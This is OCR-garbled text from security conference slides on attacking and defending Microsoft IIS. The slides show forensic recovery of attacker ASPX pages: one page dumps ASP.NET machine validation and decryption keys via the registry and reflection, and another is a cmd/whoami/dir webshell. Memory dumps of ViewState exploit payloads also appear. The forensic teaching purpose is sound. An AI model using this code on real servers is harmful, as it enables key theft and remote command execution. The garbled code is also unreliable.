Microsoft.Build.Utilities.v4.0 25708... DomainN... C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Build.Utilities.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Utilities.v4.0.dll
Microsoft.CSharp 25708... DomainN... C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll
Microsoft.1Saript 25708... DomainN... CA\WINDOWS\Microsoft.Net\assemblV\GAC MSIL\Microsoft.JScript\v4.0 10.0.0.0  b03f5f7f11d50a3a\Microsoft.1Script.dll

ZEROED.TECH



View State Investigation — Files

CJ > - v4.030319 > Temporary ASP.NET Files >
Tl Sort - = View ~ “an
Marme Date modified

M hash

B App_Web_20hwnbuv.dll

B App_Web_bwwjyza.dil

B App_Web_zeroed.aspx.bbdc91d6.nbsnugjb.dll
B ghostfile.aspx.bb4c91db.compiled

=] keys.aspx.cdcabVd2.compiled

B zeroed.aspr bb4cd1d6.compiled

[ ] prestartinitList.web

21/00/2024 9:11 PM
21/09/2024 9:11 PM
21/00/2024 9:13 PM
21/09/2024 9:13 PM
21/00/2024 9:13 PM
21/09/2024 9:11 PM
21/00/2024 9:13 PM

21/09/2024 9:11 PM

root » e22c2559 » 92c7eS46

Type Size
File folder

Application extension
Application extension
Application extension
COMPILED File

COMPILED File

COMPILED File

WEE File

10 KB

8 KB

8 KB

1KB

1 KB

1KB

1 KB

ZEROED.TECH



4 (T App Web_20hwnbuv {0.0.0.0) Iz

Vl % App_Web_20hwnb uv.dll 7 // Token: BxP6@2B88A6 RID: 6 RVA: @x8000208D4 File Offset: BxPB8882D4
b OO P_E - 68 private wvoid _ Render_ controll{HtmlTextWriter _ w, Control parameterContainer)
69 I
o
ED—D -FE'::E TR 7@ base.Response.Write{"<br/> <hr/>"};
erences -

7 byte[] array = (byte[])Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsof t\\ASP.NET\

‘D {1 :&SP Y4.0.38319.8\\", "AutoGenKeyV4™, new byte[@]};
72 if (array != null)
4 9 keys aspx @0D2000002 3 -
P B3 Base Type and Interfaces 74 base.Response.Write ("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.38319.8\\AutoGenkKeyva4: " +
P BN Derived Types BitConverter.ToString(array).Replace(™-", string.Empty)});
] keys_aspx() : void @0E0000C 7 3
Ty Frameworkinitialize() : void @ 7 base.Response.Write("<br/>");
[P GetTypeHashCode() : int @O 77 byte[] array2 = (byte[])Registry.GetValue ("HKEY CURRENT_ USER\\Software\\Microsoft\\ASP.NETY
[T ProcessRequest{HttpContext %2.8.58727.8\\", "AutoGenKey", new byte[@0]};
F’E, _ BuildControlTree{keys_aspx 7 if (array2 != null)
&g _Render_controll(HtmiText’ 79 {
p% Applicationinstance : HttpAg 80 base.Response.Write ("HKCU\\Software\\Microsoft\\ASP.NET\\2.0.508727.8\\AutoGenkey: " +
b % Profile : DefaultProfile @170 - . BitConverter.ToString(array2) .Replace(”-", string.Empty));
b A SLIPPDHHL“DE%‘E.ME : bD_DI a 82 base.Response.Write "<br/><hr/>");
@ _fileDependencies : object € 83 Assembly assembly = Assembly.load("System.Web, Version=4.6.8.8, Culture=neutral,

% _initialized : bool @040000(

b{} _AsP PublicKeyToken=b@3f5f7f11d5@a3a™);

b & App Web_bww3jyza 00.0.0) 84 Type type = assembly,GetTypE(“SystET.'I.ieb.CorjfigL:lration:Mfchirjel(?ySection")j .
, 85 MethodInfo method = type.GetMethod(“GetApplicationConfig”, BindingFlags.Static |
b P App_Web_zeroed.aspx bbdc31d6.nbsnugjk - :
b System.Web (0.0.0) Blrl1d1r1gFlags:l-lonpubl%c)j . . . .
b mscorib 4.0.0.0) 86 MachineKeySection machineKeySection = (MachineKeySection)method.Invoke(null, new object[@]):
b System.Core (.0.0.0) 87 base.Response.Write( "<b>ValidationKey:</b> " + machineKeySection.ValidationKey};
b System (4.0.0.0) 38 base.Response.Write{ "<br/>");
89 base.Response.Write( "<b>DecryptionKey:</b> " + machineKeySection.DecryptionKey);
98 base.Response.Write("<br/><hr/>");
a1 Type type2 = assembly.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider®™};
92 Assembly assembly2 = type2.Assembly;
a3 string fullMame = type2.FullName;
a4 bool flag = falsej;
a5 BindingFlags bindingFlags = BindingFlags.Instance | BindingFlags.NonPublic;
96 Binder binder = null;

a7 object[] array3 = new object[5];



Assembly Explorer * X bsides2024_ghostfile_aspx

b P App_Web_20hwnbuv (00.0.0)
4 App Web_bww3jyza [0.0.0.0)
4 B0 App Web_bww3jyza.dll
P ES PE
b o0 Type References
P o0 References
L} -
4 {} asp
4 Gg psides2024_ghostfile_aspx @02
P B Base Type and Interfaces
P B Derived Types
5 bsides2024_ghostfile_aspx{)
5 Frameworkinitialize() : void @
) GetTypeHashCodef) : int @01
) ProcessRequest(HttpContext
By _BuildControlTres(bsid es2 0z
By _Render_controll{HtmlText
P j& Applicationlnstance : HitpAg
b A& Profile : DefaultProfile @170
b A& SupportAutoEvents : bool @
&% _fileDependencies : ohject €
&4 _initialized: bool @040000(

o -

Attacking and Defending Microsoft IS

BSides Canberra 2024
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namespace ASP

{

// Token: Bx820808082 RID: 2
public class bsides2824 ghostfile_aspx : Page, IRequiresSessionState, IHttpHandler

i

// Token: @x@6@@@@81 RID: 1 RVA: 8x@@@82058 File Offset: @x0e8088258
[DebuggerdonUserlode]
public bsides2824 ghostfile_aspx()

{
base.AppRelativeVirtualPath = "~/bsides2024/ghostfile.aspx";
if (!'bsides2824 ghostfile aspx. initialized)
i{
bsides2824 ghostfile_aspx._ fileDependencies = base.GetWrappedFileDependencies({new string[]
{ "~/bsides2824/ghostfile.aspx™ });
bsides2824 ghostfile_aspx.__ initialized = true;
¥
ki

// Token: @x176e6661 RID: 1
// (get) Token: @xP6@E0862 RID: 2 RVA: @x08082096 File Offset: 6x00080296
protected DefaultProfile Profile
i{
get
i

0
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asembly Eplorer X beides2024 seoed aspx

using System;

using System.Diagnostics;

using System.IO;

using System.Security.Principal;
using System.Text;

using System.Web;

using System.Web.Profile;

using System.Web.SessionState;
using System.Web.UI;

b P App Web_20hwnbuv (0.0.0.0)
P App Web_bww3jyza [0.0.0.0)
4 [ App Web_zeroed.aspxbbdcd1d6.nbsnugjb (0.0.0.0)
4 0B App Web_zeroed.aspx bb4cd1d6.nbsnugjb.dll
b ES PE
b o0 Type References
b 0O References
b{} -
4 {} asp
E o[s bsides2024 zeroed_aspx @02000002
b BB Base Type and Interfaces
P BB Derived Types
1 bsid es2024 zeroed_aspx() : void @06000001
Ty Frameworkinitialize() : void @06000007
7 GetTypeHashCode() : int @06000008
© ProcessRequest{HttpContext) : void @06000009
Eh _ BuilldControlTree(bsides2024 zeroed_aspx): voic
E—"E _ Render__controll {HtrmilTextWriter, Cortrol) : void
b & Applicationinstance : HitpApplication @17000003
b A Profile : DefaultProfile @ 17000001
b A SupportAutoEvents : bool @17000002
&?3 _fileDepend encies : object @04000002
%2 initialzed : bool @04000001

1
2
3
a
5
B
7
8

9
18
11
12
13
14
15
16
17
18
19
28
21
22
23

64
65

66
67
68
69

namespace ASP

{

/{ Token: @xe2eeeee2 RID: 2

public class bsides2824 zeroed aspx : Page, IRequiresSessionState, IHttpHandler
i
// Token: 8x86880081 RID: 1 RVA: B8x8BB82858 File Offset: Ox008008258

[DebuggerNonUserCade]
public bsides2824 zeroced_aspx()

i
base.AppRelativeVirtualPath = "~/bsides2824/zeroed.aspx”™;
if (!'bsides2824 zeroed aspx. initialized)
{
bsides2824 zeroed aspx. fileDependencies = base.GetWrappedFileDependencies(new
string[] { "~/bsides2824/zerced.aspx" }};
¥

// Token: 8x@60000086 RID: 6 RVA: 8xB80820D4 File Offset: @xe08882D4

private void _ Render_ controll(HtmlTextWriter _ w, Control parameterContainer)
{

string text = "";
string text2 = "";

string text3;

if ((text3 = base.Request.Params["function™]) != null)
! if (I(text3 == "cmd"}}
! if (!(text3 == "whoami"})
‘ if (text3 == "dir")
f S+rinoRnildar ctrinoRuildar = new SFrinoRunildarfi-




Assembly Bxplorer e X bsdes k0 seroed aspx

b App_Web_20hwnbuv (0.0.0.0) 1 |using System;
b App_ Web_bww3jyza [0.0.0.0) 2 using System.Diagnostics;
4 [ App Web_zeroed.aspxbbdcd1d6.nbsnugjb (0.0.0.0) 3  using System.IO;
4 0B App Web_zeroed.aspx bb4cd1d6.nbsnugjb.dll 4  using System.Security.Principal;
b EC PE 5 using System.Text;
b o0 Type References 6 using System.Web;
P o0 References 7 using System.Web.Profile;
P} - 8 using System.Web.SessionState;
4 {} asp 9 using System.Web.UI;
4 42 bsides2024 zeroed_aspx @02000002 L
b BB Base Type and Interfaces E :amespace Rl
e , 13 /! Token: @x92808082 RID: 2
@ bstdeslﬁ?_-‘i_z.e.m.ed_aspx.ﬂ]:\.rold LSO 14 public class bsides2824 zeroed aspx : Page, IRequiresSessionState, IHttpHandler
Ty Frameworkinitialize() : void @06000007 15 I
) GetTypeHashCode() : int @06000008 16 // Token: @x@5@886@1 RID: 1 RVA: @x@@802050 File Offset: 8x00008250
7 ProcessRequest(HttpContext) : void @06000009 17 [DebuggertionUserfade]
®a _ BuildControlTree(bsid es? 024 _zeroed_aspx): voic 18 public bsides2@824 zeroed aspx()
E—"E _ Render__controll {HtrmilTextWriter, Cortrol) : void 19 {
3 A Application|nstance : HitpApplication @17000003 20 base.AppRelativeVirtualPath = "~/bsides2824/zeroed.aspx”™;
PA Frofile : DefaultProfile @ 17000001 21 if (!bsides2824 zeroed_aspx._ initialized)
b A SupportAutoEvents : bool @17000002 e i
&% _fileDependencies : object @04000002 23 bsides2824 zeroed_aspx._ fileDependencies = base.GetWrappedFileDependencies(new
&4  inttialzed : bool @0A000001 - ; string[] { "~/bsides2824/zerced.aspx” }};
277 SampleVirtualFile svf = new SampleVirtualFile(path + "/ghostfile.aspx”, "");
278 children.Add(svf); )
279 files.Add(svf);
e TrINg LCRLZ = 5
71 string text3;
72 if ((text3 = base.Request.Params["function™]) != null)
73 I
74 if (!(text3 == "cmd™))
75 i
76 if (!{text3 == "whoami"))
77 I
78 if (text3 == "dir")
79 {

ctrinoRuildar ctrincBRuildar = neaw StrinoBnildarf -




View State Investigation — Memory

* Manually
* lwhttp
e Select session

Dump HttpContext fields
_request
_queryStringText

e:e08> !whttp
HttpContext Thread Time Out Running Status

AT T T
286682622181

-- B0:00:806 60:14:88
-- 88:81:58 Finished
-- 88:81:58 Finished
-- 88:81:58 Finished
-- 88:81:58 Finished

W s O [N i (W |
1 |50 G |Ga |3

[ [ = T o (W

LA

5 HttpContext object(s) found matching criteria

2ee
See
See
288
288

Verh
NA
GET
POST
POST
POST

Url

/

/keys.aspx

/keys.aspx

fkeys.aspx
/bsides2824/zeroed.aspx
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View State Investigation — Memory

* Manually
* lwhttp

o (0:000> lwhttp @@0eaz032efde3ee
\

O IContext Info

° Address : BeBea2e32etdales
- Target/Dump Time : 21/89/2824 11:47:28 AM
e PReguest Time : 21/89/2824 11:33:11 AM
- Timeout : 88:81:58

Timeout Start Time: 21/89/2624 11:33:11 AM
Timeout Limit Time: 21/89/2824 11:35:81 AM

Request Info

POST /keys.aspx

Content Type : application/x-www-form-urlencoded

Content Length : 5246

Target in Server: C:\inetpub‘\wwwroot\keys.aspx

Body:

[--- start ---]

__ VIEWSTATE=%2FwEy1x4AAQAAAPR2 FX2 FA2 F42 FBBAAAAAAAANAWCAAAASYNSCIR1bSweVmVyCc21vbjeal jAuMCAWLCE
[--- End ---]

Forms[ ] : B8888288ast1dase
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View State Investigation — Memory

* Manually
* lwhttp

o (0:000> lwhttp @@0eaz032efde3ee
\

O IContext Info

° Address : BeBea2e32etdales
- Target/Dump Time : 21/89/2824 11:47:28 AM
e PReguest Time : 21/89/2824 11:33:11 AM
- Timeout : 88:81:58

Timeout Start Time: 21/89/2824 11:33:11 AM
Timeout Limit Timew; P SO APLA "USER &7 o L™

HTTP_SEC FETCH DEST: document
Request Info

POST /keys.asp¥ oo

Content Type ! Dump HttpContext fields: !wselect * from 888682822ef4fdee

Content Length : 5246

Target in Server: C:\inetpub‘\wwwroot\keys.aspx

Body:

[--- Start ---]

__ VIEWSTATE=%2FwEy1x4AAQAAAPR2 FX2 FA2 F42 FBBAAAAAAAANAWCAAAASYNSCIR1bSweVmVyCc21vbjeal jAuMCAWLCE
[--- End ---]

Forms[ ] : B8888288ast1dase
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View State Investigation — Memory

Manually
* lwhttp

(9:000> !whttp @00ea2032efde3ee
\

IContext Info

Address
- Target/Dump Time
Request Time

- Timeout s
Timeout ¢ 7° ?
Timeout |

System.
Request I Sheie
cmmeeee—] JYSTER
POST /key 23’5?""
Content 1 System
Content | 2Y>&M
Target il K
Body System.
[--- StarSystem

: 8888620832etdB360
: 21/89/2024 11:47:28 AM
: 21/89/2024 11:33:11 AM

QA = 2« Cad

'wselect * from @26862022ef4fdee

[System.Web.HttpContext]

Web.IHttpAsyncHandler asyncAppHandler = 888886880808668666

.Web.HttpApplication appInstance = G8888688888888888
.Web.THttpHandler handler = G888888088888888

Web.HttpRequest request = 88888282JEFAFEDS

.Web.HttpResponse _response = B88882622EFS8868
.Web._HttpServerUtility server = 88660888888806808

Collections.Stack traceContextStack = 8888888888088888
Web.TraceContext tinraceContext ge6oes0a8a888008
.Collections.Hashtable items = B8E888888868682808

_ VIEWSTATE= XZFwalxdﬂﬂQAﬂAP%IFxﬂF%EF%EFEE&AA&AA&AA&WCA&AASVN5(3R1b5ngmUyCZlvb]BGL]AUHdeLCB

[--- End ---]
Forms[ ]

: Beeee208acf1dase
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View State Investigation — Memory

Manually
* lwhttp

o (0:000> lwhttp @@0eaz032efde3ee
\

O IContext Info

° Address : BeBea2e32etdales

e Fe e s aoa A= e mma

8:088> !wselect * from 8@e882022efAfeds
[System.Web.HttpRequest]
System.Web.HttpWorkerRequest wr = 8828828
System.Web.HttpContext _context = 28888282
(string)System.5tring httpMethod = GET
(string)System.5tring _requestType = NULL
System.Web.VirtualPath path = 886882812EECLEFA

(string)System.5tring rewrittenUrl = NULL

System.Web.VirtualPath _filePath = 888882822EFS8FE

System.Web.VirtualPath _currentExecutionFilePath = beaaeeaeeaaeasee

System.Web.VirtualPath pathInfo = cegeeeceees88888

(string)System.5tring queryStringText =  VIEWSTATE=R2FwEywACAAQAAAPRZFR2FA2 FA2 FEBAAAAAAAAAAWCAAAAXK]PY3Ivc29mdC50b3d]lcINoZhxs LkVikaXRvciwgVmVyc21lvbjezL-
System.Byte[] _queryStringBytes = 888882812EEC1F38 5f 5f 56 49 45 57 53 54 41 54 45 3d 25 32 46 77 45 79 77 41 63 41 41 51 41 41 41 58 25 32 46 25 _ Vi
(string)System.String _pathTranslated = C:\inetpub\wwwroot\keys.aspx

(string)System.5tring contentType =

Eff{ Star System.Collections.Hashtable _items - 8000000008666000

__ VIEWSTATE= XZFwalx4ﬂﬂQﬂﬂAP%2F%2F%EF%EF8EﬁAAﬂAAAAAﬂwCAﬂAASVN5{3R1b5ngmUyCZlvb]B@L]AuthwLCB
[--- End ---]
Forms[ ] : B8888288ast1dase
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View State — Conclusion

* Being actively exploited

* Well crafted payloads prevent Windows Event logs being generated
* IS logs don’t contain anything useful

e Remediation is difficult



Wrapping up



The journey continues

* Jscript, VB script, C# => Jscript eval, Dynamic C#

* Fileless webshells

* Custom tasking/parameter parsing

* Event Tracing for Windows for IIS and .NET
 Advanced, automated and custom memory analysis
* Advanced .NET assembly analysis

* Malicious IIS frameworks

* Advanced logging



Training coming 2025
Feedback https://forms.gle/Zws8KzWS3Ppa2bTp7

Training enquiries: training@zeroed.tech

Questions: adrian@zeroed.tech

Blog/Training: https://zeroed.tech ‘ ‘ g:

Twitter: @zeroedtech

ZEROED.TECH
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